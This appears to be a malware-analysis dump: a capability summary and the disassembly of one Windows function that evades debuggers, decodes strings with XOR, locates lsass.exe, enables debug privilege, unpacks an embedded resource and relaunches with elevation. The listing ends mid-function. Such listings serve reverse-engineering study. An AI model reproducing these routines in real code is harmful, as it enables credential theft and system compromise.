Function at 0x14000bac0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Enumerate processes
Extract resource via kernel32 functions

Disassembly:
push rbp
push r15
lea rbp, [rsp - 0x5a8]
sub rsp, 0x6a8
mov rax, qword [0x1400a3158]
xor rax, rsp
mov qword [rbp + 0x580], rax
movdqa xmm0, xmmword [0x14007a940]
xor eax, eax
movdqa xmm1, xmmword [0x14007a980]
mov r15, 0xffffffffffffffff
movdqu xmmword [rbp + 0x2f0], xmm0
mov r8, r15
mov qword [rbp + 0x78], rax
movdqa xmm0, xmmword [0x14007a960]
movdqu xmmword [rbp + 0x310], xmm0
mov qword [rbp + 0x80], rax
movdqa xmm0, xmmword [0x14007a0d0]
mov qword [rbp + 0x88], rax
mov byte [rbp + 0x20], al
lea rax, [rbp + 0x2f0]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x320], 0
movdqu xmmword [rbp + 0x300], xmm1
mov dword [rbp + 0x2a0], 0x73786761
mov dword [rbp + 0x2a4], 0x48737a59
mov dword [rbp + 0x2a8], 0x3d397077
mov byte [rbp + 0x2ac], 0
inc r8
cmp byte [rax + r8], 0
jne 0x14000bb75
lea rdx, [rbp + 0x2f0]
mov qword [rsp + 0x698], r13
lea rcx, [rbp + 0x20]
call fcn.140002130
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x78]
call fcn.140009230
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x14000bbdf
mov rcx, qword [rbp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bbda
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ce26
call fcn.1400331a4
mov r9, qword [rbp + 0x78]
xor r13d, r13d
mov r8, qword [rbp + 0x80]
mov ecx, r13d
mov rdx, r8
mov rax, r9
sub rdx, r9
cmp r9, r8
cmova rdx, r13
test rdx, rdx
je 0x14000bcaa
cmp rdx, 0x40
jb 0x14000bc7e
movdqa xmm2, xmmword [0x14007aa40]
mov r8, rdx
and r8, 0xffffffffffffffc0
nop
movdqu xmm0, xmmword [rax]
add rcx, 0x40
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax], xmm1
movdqu xmm0, xmmword [rax + 0x10]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax + 0x10], xmm1
movdqu xmm0, xmmword [rax + 0x20]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax + 0x20], xmm1
movdqu xmm0, xmmword [rax + 0x30]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax + 0x30], xmm1
add rax, 0x40
cmp rcx, r8
jne 0x14000bc20
mov r8, qword [rbp + 0x80]
mov r9, qword [rbp + 0x78]
cmp rcx, rdx
je 0x14000bcaa
nop dword [rax]
nop word [rax + rax]
xor byte [rax], 0xb7
lea rax, [rax + 1]
inc rcx
cmp rcx, rdx
jne 0x14000bc90
mov r8, qword [rbp + 0x80]
mov r9, qword [rbp + 0x78]
movdqa xmm0, xmmword [0x14007a770]
lea rcx, [rbp]
sub r8, r9
mov word [rbp], r13w
shr r8, 1
mov rdx, r9
movdqu xmmword [rbp + 0x10], xmm0
call fcn.140002290
movdqa xmm0, xmmword [0x14007a0d0]
xor eax, eax
mov qword [rbp + 0x60], rax
mov r8, r15
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x70], rax
mov byte [rbp + 0x20], al
lea rax, [rbp + 0x2a0]
movdqu xmmword [rbp + 0x30], xmm0
inc r8
cmp byte [rax + r8], r13b
jne 0x14000bcf6
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x20]
call fcn.140002130
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x60]
call fcn.140009230
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x14000bd57
mov rcx, qword [rbp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bd52
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ce26
call fcn.1400331a4
mov r9, qword [rbp + 0x60]
mov rcx, r13
mov r8, qword [rbp + 0x68]
mov rax, r9
mov rdx, r8
mov qword [rsp + 0x6c0], rbx
sub rdx, r9
cmp r9, r8
cmova rdx, r13
test rdx, rdx
je 0x14000be17
cmp rdx, 0x40
jb 0x14000bdfb
movdqa xmm2, xmmword [0x14007aa40]
mov r8, rdx
and r8, 0xffffffffffffffc0
nop dword [rax + rax]
movdqu xmm0, xmmword [rax]
add rcx, 0x40
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax], xmm1
movdqu xmm0, xmmword [rax + 0x10]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax + 0x10], xmm1
movdqu xmm0, xmmword [rax + 0x20]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax + 0x20], xmm1
movdqu xmm0, xmmword [rax + 0x30]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax + 0x30], xmm1
add rax, 0x40
cmp rcx, r8
jne 0x14000bda0
mov r8, qword [rbp + 0x68]
mov r9, qword [rbp + 0x60]
cmp rcx, rdx
je 0x14000be17
xor byte [rax], 0xb7
lea rax, [rax + 1]
inc rcx
cmp rcx, rdx
jne 0x14000be00
mov r8, qword [rbp + 0x68]
mov r9, qword [rbp + 0x60]
movdqa xmm0, xmmword [0x14007a770]
lea rcx, [rbp - 0x20]
mov qword [rsp + 0x6c8], rsi
sub r8, r9
mov qword [rsp + 0x6d0], rdi
mov rdx, r9
mov qword [rsp + 0x6a0], r12
shr r8, 1
mov qword [rsp + 0x690], r14
movdqu xmmword [rbp - 0x10], xmm0
mov word [rbp - 0x20], r13w
call fcn.140002290
call fcn.14000b470
call fcn.140009020
movzx ebx, al
call fcn.14000b470
test bl, bl
jne 0x14000cd34
xor ecx, ecx
call fcn.1400587fc
lea rdx, [rbp + 0x290]
mov qword [rbp + 0x290], rax
lea rcx, [rbp + 0xb8]
call fcn.140058380
movups xmm1, xmmword [rbp + 0xb8]
mov eax, dword [rbp + 0xd8]
lea rcx, [rbp + 0x2f0]
movups xmm0, xmmword [rbp + 0xc8]
mov dword [rbp + 0x310], eax
movups xmmword [rbp + 0x2f0], xmm1
mov dword [rbp + 0x2fc], 0x18
movups xmmword [rbp + 0x90], xmm1
mov qword [rbp + 0x2f4], r13
movups xmmword [rbp + 0x300], xmm0
mov dword [rbp + 0x304], 0x7c
movups xmmword [rbp + 0xa0], xmm0
mov dword [rbp + 0x300], 8
mov dword [rbp + 0x2f0], r13d
mov dword [rbp + 0xa4], 0x7c
mov dword [rbp + 0xa0], 8
mov dword [rbp + 0x9c], 0x18
mov dword [rbp + 0x98], 0xa
mov qword [rbp + 0x90], r13
mov dword [rbp + 0xb0], eax
call fcn.14005875c
lea rcx, [rbp + 0x90]
mov rbx, rax
call fcn.14005875c
mov rcx, qword [rbp + 0x290]
cmp rcx, rbx
jl 0x14000bf5d
cmp rcx, rax
jg 0x14000bf5d
mov bl, 1
jmp 0x14000bf5f
xor bl, bl
call fcn.14000b470
test bl, bl
je 0x14000cd34
call fcn.140009680
test al, al
jne 0x14000cd2f
call fcn.140009ee0
test al, al
jne 0x14000cd2f
call fcn.1400089a0
test al, al
jne 0x14000cd2f
call fcn.14000b470
movdqa xmm0, xmmword [0x14007aa00]
lea rcx, [rbp + 0x2b0]
movdqu xmmword [rbp + 0x2d0], xmm0
mov dword [rbp + 0x2b0], 0x65006b
mov esi, 0x65
mov dword [rbp + 0x2b4], 0x6e0072
mov dword [rbp + 0x2b8], 0x6c0065
mov dword [rbp + 0x2bc], 0x320033
mov dword [rbp + 0x2c0], 0x64002e
mov dword [rbp + 0x2c4], 0x6c006c
mov word [rbp + 0x2c8], r13w
mov dword [rbp + 0x2e0], 0x50726567
mov dword [rbp + 0x2e4], 0x65736572
mov word [rbp + 0x2e8], 0x746e
mov byte [rbp + 0x2ea], r13b
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdi, rax
test rax, rax
jne 0x14000c037
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
setne bl
jmp 0x14000c079
lea rdx, [rbp + 0x2d0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x14000c06e
test rbx, rbx
je 0x14000c06a
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call rbx
test eax, eax
jne 0x14000c06e
xor bl, bl
jmp 0x14000c070
mov bl, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
call fcn.14000b470
test bl, bl
jne 0x14000cd34
movdqa xmm0, xmmword [0x14007a0d0]
lea rax, [rbp + 0x290]
movdqu xmmword [rbp + 0x30], xmm0
mov dword [rbp + 0x290], 0x6e696e75
mov r8, r15
mov dword [rbp + 0x294], 0x637473
mov byte [rbp + 0x20], r13b
inc r8
cmp byte [rax + r8], r13b
jne 0x14000c0b5
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x20]
call fcn.140002130
lea rcx, [rbp + 0x20]
call fcn.140008cd0
lea rcx, [rbp + 0x20]
movzx ebx, al
call fcn.140001770
test bl, bl
je 0x14000ccfe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8d, 0xa
mov rdx, rsi
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdi, rax
test rax, rax
je 0x14000ce2c
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
test rax, rax
je 0x14000ce53
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
test eax, eax
je 0x14000ce7a
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LockResource]
lea rcx, [rbp + 0x2b0]
test rax, rax
je 0x14000cea1
movzx r9d, byte [rbp - 0x50]
lea r8, [rax + rbx]
xorps xmm0, xmm0
mov qword [rbp + 0x2c0], r13
mov rdx, rax
movdqu xmmword [rbp + 0x2b0], xmm0
call fcn.140007d30
mov rbx, qword [rbp + 0x2b8]
mov rdi, qword [rbp + 0x2b0]
mov rdx, rbx
movdqa xmm0, xmmword [0x14007a0d0]
sub rdx, rdi
mov byte [rbp + 0x20], r13b
movdqu xmmword [rbp + 0x30], xmm0
cmp rdx, 0x10
jb 0x14000c1b9
xor r8d, r8d
lea rcx, [rbp + 0x20]
call fcn.140008130
mov qword [rbp + 0x30], r13
movzx r9d, byte [rbp - 0x50]
lea rcx, [rbp + 0x20]
mov r8, rbx
mov rdx, rdi
call fcn.140007670
call fcn.14000b470
lea rcx, [rbp - 0x28]
mov dword [rbp - 0x28], 0x383531
call fcn.140057bfc
mov ebx, eax
call fcn.14000b470
xor eax, eax
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x2d0]
mov qword [rbp + 0x2d0], rax
mov qword [rbp + 0x2d8], rax
mov qword [rbp + 0x2e0], rax
call fcn.140009230
movzx edx, bl
lea rcx, [rbp + 0x2d0]
call fcn.14000aa50
call fcn.14000b470
xor edx, edx
mov dword [rbp + 0x290], 0x7361736c
mov dword [rbp + 0x294], 0x78652e73
mov r12d, r13d
mov word [rbp + 0x298], 0x65
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, r15
je 0x14000cdff
lea rdx, [rbp + 0x160]
mov dword [rbp + 0x160], 0x130
mov rcx, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x14000c2b3
nop word [rax + rax]
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x18c]
call fcn.140056de8
test eax, eax
je 0x14000c2ac
lea rdx, [rbp + 0x160]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x14000c280
jmp 0x14000c2b3
mov r12d, dword [rbp + 0x168]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r12d, r12d
je 0x14000cdff
movdqa xmm0, xmmword [0x14007a9d0]
lea rcx, [rbp + 0x290]
movdqu xmmword [rbp + 0x40], xmm0
mov dword [rbp + 0x290], 0x6c64746e
mov dword [rbp + 0x294], 0x6c642e6c
mov word [rbp + 0x298], 0x6c
mov word [rbp + 0x50], 0x6567
mov byte [rbp + 0x52], r13b
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
movsxd rcx, dword [rax + 0x3c]
mov esi, dword [rcx + rax + 0x90]
add rsi, 0xc
add rsi, rax
mov ecx, dword [rsi]
test ecx, ecx
je 0x14000c369
add rcx, r14
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x14000c35e
mov ebx, dword [rsi + 4]
add rbx, r14
cmp qword [rbx], r13
je 0x14000c35e
nop dword [rax]
lea rdx, [rbp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000c355
mov qword [rbx], rax
add rbx, 8
cmp qword [rbx], r13
jne 0x14000c340
mov ecx, dword [rsi + 0x14]
add rsi, 0x14
test ecx, ecx
jne 0x14000c321
lea rdx, [rbp + 0x40]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000cec1
xor r8d, r8d
lea r9, [rbp - 0x50]
mov dl, 1
lea ecx, [r8 + 0x14]
call rax
call fcn.14000b470
mov rbx, qword [rbp + 0x2d8]
mov ecx, 0x48
mov rdi, qword [rbp + 0x2d0]
sub rbx, rdi
call fcn.140033168
test rax, rax
je 0x14000c3ee
xor ecx, ecx
mov r9, rbx
mov qword [rax], rcx
mov r8, rdi
mov qword [rax + 8], rcx
mov edx, r12d
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rcx
mov qword [rax + 0x20], rcx
mov qword [rax + 0x28], rcx
mov qword [rax + 0x30], rcx
mov qword [rax + 0x38], rcx
mov qword [rax + 0x40], rcx
mov rcx, rax
call fcn.14000dad0
mov rsi, rax
jmp 0x14000c3f1
mov rsi, r13
mov rcx, rsi
call fcn.14000ddd0
movdqa xmm0, xmmword [str.82sQg3B8k2sRg978j2s1g4X87osPg_B87Yrng4F872sJg3F812s5g4h86esRg3F8zYs5g4h86esRg3F88esHgF8j2sJg3J84YrAgh812sag3J8zYrLg4l85essg3X872sog0z85esCg4X8kYsrg4F8kYssg4X8w2rMg4v8kYsRg0d86YsRg0z86YsLg4d83osrg4h85esRgh82s2g0z852sog4h87YsDg3J86esng0r812sPg3r8jesUg4v8zYsPg3r8jesUg4v85Yspg4v87osDg0z812sPg3r8jesUg0z8zYsPg3r8jesUg0z86YsMg0d882sLg4z86esog418mesPg4z8GetComputerNameAqrstuvwxyzABCDEFiZ591H8zO3Fq5SYNGetLogicalDriveSguz0YV8Jsv12eJUGHIJKLMNOPQRSTUVevWLCYgVDQmwA5mYGetVolumeInformaWinHttpCloseHandWinHttpReceiveReQueryPerformanceRtlAdjustPrivileWinHttpSendRequeWinHttpOpenRequeCheckRemoteDebugGetModuleFileNamabcdefghijklmnopGlobalMemoryStat]
movdqa xmm1, xmmword [0x14007a830]
movdqu xmmword [rbp + 0x4c0], xmm0
movdqa xmm0, xmmword [0x14007a860]
movdqu xmmword [rbp + 0x4d0], xmm1
movdqa xmm1, xmmword [0x14007a900]
movdqu xmmword [rbp + 0x4e0], xmm0
movdqa xmm0, xmmword [0x14007a8d0]
movdqu xmmword [rbp + 0x4f0], xmm1
movdqa xmm1, xmmword [0x14007a910]
movdqu xmmword [rbp + 0x500], xmm0
movdqa xmm0, xmmword [0x14007a870]
movdqu xmmword [rbp + 0x510], xmm1
movdqa xmm1, xmmword [0x14007a8c0]
movdqu xmmword [rbp + 0x520], xmm0
movdqa xmm0, xmmword [0x14007a7e0]
movdqu xmmword [rbp + 0x530], xmm1
movdqa xmm1, xmmword [0x14007a850]
movdqu xmmword [rbp + 0x540], xmm0
movdqa xmm0, xmmword [0x14007a840]
movdqu xmmword [rbp + 0x550], xmm1
movdqa xmm1, xmmword [0x14007a820]
movdqu xmmword [rbp + 0x560], xmm0
movdqa xmm0, xmmword [0x14007a8a0]
movdqu xmmword [rbp + 0x3c0], xmm1
movdqa xmm1, xmmword [0x14007a880]
movdqu xmmword [rbp + 0x3d0], xmm0
movdqa xmm0, xmmword [0x14007a8b0]
movdqu xmmword [rbp + 0x3e0], xmm1
movdqa xmm1, xmmword [0x14007a7e0]
movdqu xmmword [rbp + 0x3f0], xmm0
movdqa xmm0, xmmword [0x14007a850]
movdqu xmmword [rbp + 0x400], xmm1
movdqa xmm1, xmmword [0x14007a840]
movdqu xmmword [rbp + 0x410], xmm0
movdqa xmm0, xmmword [str.82sQg3B8k2sRg978j2s1g4X87osPg_B87Yrng4F872sJg3F812s5g4h86esRg3F8zYs5g4h86esRg3F88esHgF8j2sJg3J84YrAgh812sag3J8zYrLg4l85essg3X872sog0z85esCg4X8kYsrg4F8kYssg4X8w2rMg4v8kYsRg0d86YsRg0z86YsLg4d83osrg4h85esRgh82s2g0z852sog4h87YsDg3J86esng0r812sPg3r8jesUg4v8zYsPg3r8jesUg4v85Yspg4v87osDg0z812sPg3r8jesUg0z8zYsPg3r8jesUg0z86YsMg0d882sLg4z86esog418mesPg4z8GetComputerNameAqrstuvwxyzABCDEFiZ591H8zO3Fq5SYNGetLogicalDriveSguz0YV8Jsv12eJUGHIJKLMNOPQRSTUVevWLCYgVDQmwA5mYGetVolumeInformaWinHttpCloseHandWinHttpReceiveReQueryPerformanceRtlAdjustPrivileWinHttpSendRequeWinHttpOpenRequeCheckRemoteDebugGetModuleFileNamabcdefghijklmnopGlobalMemoryStat]
movdqu xmmword [rbp + 0x420], xmm1
movdqa xmm1, xmmword [0x14007a830]
movdqu xmmword [rbp + 0x160], xmm0
movdqa xmm0, xmmword [0x14007a860]
movdqu xmmword [rbp + 0x170], xmm1
movdqa xmm1, xmmword [0x14007a900]
movdqu xmmword [rbp + 0x180], xmm0
movdqa xmm0, xmmword [0x14007a8d0]
movdqu xmmword [rbp + 0x190], xmm1
movdqa xmm1, xmmword [0x14007a910]
movdqu xmmword [rbp + 0x1a0], xmm0
movdqa xmm0, xmmword [0x14007a870]
movdqu xmmword [rbp + 0x1b0], xmm1
movdqa xmm1, xmmword [0x14007a800]
movdqu xmmword [rbp + 0x1c0], xmm0
movdqa xmm0, xmmword [0x14007a810]
movdqu xmmword [rbp + 0x1d0], xmm1
movdqa xmm1, xmmword [0x14007a7d0]
movdqu xmmword [rbp + 0x1e0], xmm0
movdqa xmm0, xmmword [0x14007a890]
movdqu xmmword [rbp + 0x1f0], xmm1
movdqa xmm1, xmmword [0x14007a820]
movdqu xmmword [rbp + 0x200], xmm0
movdqa xmm0, xmmword [0x14007a8a0]
movdqu xmmword [rbp + 0x440], xmm1
movdqa xmm1, xmmword [0x14007a880]
movdqu xmmword [rbp + 0x450], xmm0
movdqa xmm0, xmmword [0x14007a7f0]
movdqu xmmword [rbp + 0x460], xmm1
movdqa xmm1, xmmword [0x14007a810]
movdqu xmmword [rbp + 0x470], xmm0
movdqa xmm0, xmmword [0x14007a7d0]
movdqu xmmword [rbp + 0x480], xmm1
movdqa xmm1, xmmword [0x14007a890]
movdqu xmmword [rbp + 0x490], xmm0
movdqa xmm0, xmmword [str.82sQg3B8k2sRg978j2s1g4X87osPg_B87Yrng4F872sJg3F812s5g4h86esRg3F8zYs5g4h86esRg3F88esHgF8j2sJg3J84YrAgh812sag3J8zYrLg4l85essg3X872sog0z85esCg4X8kYsrg4F8kYssg4X8w2rMg4v8kYsRg0d86YsRg0z86YsLg4d83osrg4h85esRgh82s2g0z852sog4h87YsDg3J86esng0r812sPg3r8jesUg4v8zYsPg3r8jesUg4v85Yspg4v87osDg0z812sPg3r8jesUg0z8zYsPg3r8jesUg0z86YsMg0d882sLg4z86esog418mesPg4z8GetComputerNameAqrstuvwxyzABCDEFiZ591H8zO3Fq5SYNGetLogicalDriveSguz0YV8Jsv12eJUGHIJKLMNOPQRSTUVevWLCYgVDQmwA5mYGetVolumeInformaWinHttpCloseHandWinHttpReceiveReQueryPerformanceRtlAdjustPrivileWinHttpSendRequeWinHttpOpenRequeCheckRemoteDebugGetModuleFileNamabcdefghijklmnopGlobalMemoryStat]
movdqu xmmword [rbp + 0x4a0], xmm1
movdqa xmm1, xmmword [0x14007a830]
movdqu xmmword [rbp + 0x330], xmm0
mov byte [rbp + 0x570], r13b
mov byte [rbp + 0x430], r13b
mov byte [rbp + 0x210], r13b
mov byte [rbp + 0x4b0], r13b
movdqa xmm0, xmmword [0x14007a860]
movdqu xmmword [rbp + 0x340], xmm1
movdqa xmm1, xmmword [0x14007a900]
movdqu xmmword [rbp + 0x360], xmm1
movdqa xmm1, xmmword [0x14007a910]
movdqu xmmword [rbp + 0x350], xmm0
movdqa xmm0, xmmword [0x14007a8d0]
movdqu xmmword [rbp + 0x380], xmm1
movdqa xmm1, xmmword [0x14007a8f0]
movdqu xmmword [rbp + 0x370], xmm0
movdqa xmm0, xmmword [0x14007a870]
movdqu xmmword [rbp + 0x3a0], xmm1
movdqa xmm1, xmmword [0x14007a8a0]
movdqu xmmword [rbp + 0x390], xmm0
movdqa xmm0, xmmword [0x14007a820]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm1, xmmword [0x14007a8e0]
movdqu xmmword [rsp + 0x40], xmm0
movdqa xmm0, xmmword [0x14007a880]
movdqu xmmword [rsp + 0x70], xmm1
mov dword [rbp + 0x3b0], 0x43735937
mov dword [rbp + 0x3b4], 0x3d3d6a67
mov byte [rbp + 0x3b8], r13b
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rbp - 0x80], 0x43735937
mov dword [rbp - 0x7c], 0x3d3d6a67
mov byte [rbp - 0x78], r13b
call fcn.14000b470
movdqa xmm0, xmmword [0x14007a0d0]
lea rax, [rbp + 0x4c0]
movdqu xmmword [rbp - 0x38], xmm0
mov byte [rbp - 0x48], r13b
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x14000c760
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp - 0x48]
call fcn.140002130
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x90]
call fcn.140008e80
lea rcx, [rbp - 0x48]
call fcn.140001770
movdqa xmm0, xmmword [0x14007a0d0]
lea rax, [rbp + 0x3c0]
movdqu xmmword [rbp - 0x38], xmm0
mov byte [rbp - 0x48], r13b
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x14000c7b0
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp - 0x48]
call fcn.140002130
lea rdx, [rbp - 0x48]
lea rcx, [rsp + 0x20]
call fcn.140008e80
mov rdx, rax
lea rcx, [rbp + 0xb8]
call fcn.14000a8f0
lea rcx, [rsp + 0x20]
call fcn.1400017d0
lea rcx, [rbp - 0x48]
call fcn.140001770
movdqa xmm0, xmmword [0x14007a0d0]
lea rax, [rbp + 0x160]
movdqu xmmword [rbp - 0x38], xmm0
mov byte [rbp - 0x48], r13b
mov r8, r15
inc r8
cmp byte [rax + r8], r13b
jne 0x14000c814
lea rdx, [rbp + 0x160]
lea rcx, [rbp - 0x48]
call fcn.140002130
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x140]
call fcn.140008e80
lea rcx, [rbp - 0x48]
call fcn.140001770
movdqa xmm0, xmmword [0x14007a0d0]
lea rax, [rbp + 0x440]
movdqu xmmword [rbp - 0x38], xmm0
mov byte [rbp - 0x48], r13b
mov r8, r15
inc r8
cmp byte [rax + r8], r13b
jne 0x14000c861
lea rdx, [rbp + 0x440]
lea rcx, [rbp - 0x48]
call fcn.140002130
lea rdx, [rbp - 0x48]
lea rcx, [rsp + 0x20]
call fcn.140008e80
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.14000a8f0
lea rcx, [rsp + 0x20]
call fcn.1400017d0
lea rcx, [rbp - 0x48]
call fcn.140001770
movdqa xmm0, xmmword [0x14007a0d0]
lea rax, [rbp + 0x330]
movdqu xmmword [rbp - 0x38], xmm0
mov byte [rbp - 0x48], r13b
mov r8, r15
inc r8
cmp byte [rax + r8], r13b
jne 0x14000c8c5
lea rdx, [rbp + 0x330]
lea rcx, [rbp - 0x48]
call fcn.140002130
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x100]
call fcn.140008e80
lea rcx, [rbp - 0x48]
call fcn.140001770
movdqa xmm0, xmmword [0x14007a0d0]
lea rax, [rsp + 0x40]
movdqu xmmword [rbp - 0x38], xmm0
mov byte [rbp - 0x48], r13b
mov r8, r15
inc r8
cmp byte [rax + r8], r13b
jne 0x14000c910
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x48]
call fcn.140002130
lea rdx, [rbp - 0x48]
lea rcx, [rsp + 0x20]
call fcn.140008e80
mov rdx, rax
lea rcx, [rbp + 0xe0]
call fcn.14000a8f0
lea rcx, [rsp + 0x20]
call fcn.1400017d0
lea rcx, [rbp - 0x48]
call fcn.140001770
call fcn.14000b470
cmp qword [rbp + 0x138], 0x10
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x140]
cmovae rdx, qword [rbp + 0x120]
cmp qword [rbp + 0x158], 8
cmovae rcx, qword [rbp + 0x140]
call fcn.14000a490
cmp qword [rbp + 0xf8], 0x10
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x100]
cmovae rdx, qword [rbp + 0xe0]
cmp qword [rbp + 0x118], 8
cmovae rcx, qword [rbp + 0x100]
call fcn.14000a490
cmp qword [rbp + 0xd0], 0x10
lea rdx, [rbp + 0xb8]
movdqa xmm0, xmmword [0x14007a0d0]
mov r8, r15
cmovae rdx, qword [rbp + 0xb8]
movdqu xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x20], r13b
nop
inc r8
cmp byte [rdx + r8], r13b
jne 0x14000c9f0
lea rcx, [rsp + 0x20]
call fcn.140002130
cmp qword [rbp + 0xa8], 8
lea rdx, [rbp + 0x90]
movdqa xmm0, xmmword [0x14007a770]
mov r8, r15
cmovae rdx, qword [rbp + 0x90]
movdqu xmmword [rbp - 0x38], xmm0
mov word [rbp - 0x48], r13w
nop
inc r8
cmp word [rdx + r8*2], r13w
jne 0x14000ca30
lea rcx, [rbp - 0x48]
call fcn.140002290
cmp qword [rsp + 0x38], 0x10
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x48]
cmovae rdx, qword [rsp + 0x20]
cmp qword [rbp - 0x30], 8
cmovae rcx, qword [rbp - 0x48]
call fcn.14000a490
mov ebx, 1
test al, al
je 0x14000cb24
cmp qword [rsp + 0x38], 0x10
lea rdi, [rsp + 0x20]
movdqa xmm0, xmmword [str.ShellExecuteExA]
lea rcx, [rbp + 0x2a0]
cmovae rdi, qword [rsp + 0x20]
mov dword [rbp + 0x2a0], 0x6c656873
mov dword [rbp + 0x2a4], 0x2e32336c
mov dword [rbp + 0x2a8], 0x6c6c64
movdqu xmmword [rbp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14000cad4
lea rdx, [rbp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
jmp 0x14000cad7
mov r14, r13
xor edx, edx
mov dword [rbp + 0x290], 0x616e7572
lea rcx, [rsp + 0x44]
mov word [rbp + 0x294], 0x73
mov dword [rsp + 0x40], 0x70
lea r8d, [rdx + 0x6c]
call fcn.1400516a0
lea rax, [rbp + 0x290]
mov qword [rsp + 0x58], rdi
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r13
mov dword [rsp + 0x70], ebx
call r14
lea rcx, [rbp - 0x48]
call fcn.1400017d0
lea rcx, [rsp + 0x20]
call fcn.140001770
call fcn.14000a280
call fcn.14000b470
mov r8d, 0x104
lea rdx, [rbp + 0x160]
xor ecx, ecx
call qword [0x1400a68b8]
movdqa xmm0, xmmword [0x14007a0d0]
lea rax, [rbp + 0x160]
movdqu xmmword [rbp + 0x50], xmm0
mov byte [rbp + 0x40], r13b
mov r8, r15
inc r8
cmp byte [rax + r8], r13b
jne 0x14000cb71
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x40]
call fcn.140002130
mov r8, r15
lea rdx, [0x14007a734]
lea rcx, [rbp + 0x40]
call fcn.14000af20
cmp rax, r15
je 0x14000cbed
movdqa xmm0, xmmword [0x14007a0d0]
lea rcx, [rax + 1]
mov rax, qword [rbp + 0x50]
mov byte [rbp - 0x48], r13b
movdqu xmmword [rbp - 0x38], xmm0
cmp rax, rcx
jb 0x14000cee8
sub rax, rcx
lea rdx, [rbp + 0x40]
cmp rax, r15
cmovb r15, rax
cmp qword [rbp + 0x58], 0x10
mov r8, r15
cmovae rdx, qword [rbp + 0x40]
add rdx, rcx
lea rcx, [rbp - 0x48]
call fcn.140002130
jmp 0x14000cc0e
movups xmm0, xmmword [rbp + 0x40]
mov byte [rbp + 0x40], r13b
movups xmm1, xmmword [rbp + 0x50]
movups xmmword [rbp - 0x48], xmm0
movdqa xmm0, xmmword [0x14007a0d0]
movdqu xmmword [rbp + 0x50], xmm0
movups xmmword [rbp - 0x38], xmm1
lea rcx, [rbp + 0x40]
call fcn.140001770
call fcn.14000b470
mov edx, 8
